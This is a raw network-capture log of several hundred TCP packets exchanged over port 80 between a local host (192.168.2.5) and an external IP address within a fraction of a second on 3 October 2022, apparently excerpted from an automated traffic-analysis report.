Oct 3, 2022 17:30:07.456672907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.456769943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.456772089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.456854105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.456902027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.456931114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.456933022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.457011938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.457067966 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.457087994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.457093954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.457159996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.457166910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.457305908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.483184099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.483233929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.483264923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.483294964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.483325958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.483326912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.483361959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.483390093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.483417988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484127998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484163046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484191895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484215975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484224081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484255075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484272003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484287977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484299898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484323025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484330893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484359026 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484366894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484376907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484401941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484415054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484435081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484447002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484467030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484473944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484514952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.484524965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484553099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484571934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.484659910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510471106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510535955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510579109 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510588884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510631084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510631084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510633945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510673046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510710955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510715961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510759115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510817051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510853052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510910988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510910988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.510914087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.510962009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511003971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511045933 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511126041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511524916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511574984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511590958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511620998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511630058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511662960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511689901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511708021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511727095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511744976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511779070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511780024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511809111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511826992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511842966 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511873007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511900902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511919022 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.511919975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511959076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511989117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.511996031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512032986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512065887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512068987 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512083054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512113094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512124062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512157917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512173891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512202024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512212992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512243032 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512243032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512283087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512343884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512356997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512387991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512396097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512429953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512435913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512470961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512482882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512515068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512527943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512557030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512564898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512599945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512628078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.512639046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.512677908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538180113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538242102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538278103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538315058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538341045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538343906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538388968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538425922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538428068 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538455963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538466930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538506031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538508892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538542032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538551092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538580894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538594961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538618088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538626909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538655996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538662910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538693905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538717985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538749933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538784027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538798094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538811922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538847923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538857937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538906097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.538917065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538965940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.538976908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539012909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539042950 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539060116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539089918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539113045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539529085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539580107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539593935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539647102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539658070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539707899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539707899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539757967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539762974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539804935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539809942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539858103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539861917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539905071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539938927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.539952040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.539973974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540000916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540003061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540050983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540096998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540102959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540144920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540158987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540193081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540221930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540240049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540244102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540292025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540321112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540344000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540344954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540388107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540416956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540440083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540452003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540484905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540488005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540535927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540565968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540585995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540601969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540632010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540678024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540683031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540718079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540731907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540741920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540781975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540786028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540828943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540829897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540877104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540878057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540921926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.540951967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540973902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.540976048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541019917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541023970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541071892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541095018 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541120052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541151047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541167021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541197062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541215897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541218996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541260004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541265965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541313887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541344881 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541382074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541431904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541435957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541455030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541487932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541527033 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541539907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541589022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541599035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541627884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541649103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541655064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541722059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541723967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541789055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541851044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541871071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541917086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.541918993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.541980982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542045116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542107105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542114019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.542166948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.542171955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542237043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542296886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542359114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.542361021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542428017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542484999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.542495012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542565107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542629004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542634010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.542699099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.542766094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566382885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566454887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566512108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566556931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566561937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566608906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566664934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566670895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566683054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566725016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566728115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566767931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566788912 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566807032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566813946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566844940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566847086 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566895008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.566909075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566948891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566977024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.566998005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567001104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567029953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567054987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567065954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567090988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567106009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567141056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567142010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567166090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567181110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567186117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567220926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567257881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567259073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567282915 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567295074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567303896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567331076 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567333937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567372084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567399025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567409992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567435026 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567447901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567468882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567487955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567491055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567527056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567531109 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567564964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567574024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567601919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567603111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567640066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567648888 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567677975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567687035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567715883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567717075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567754030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567760944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567790985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.567791939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.567835093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.569772959 CEST	80	49694	85.31.46.167	192.168.2.5
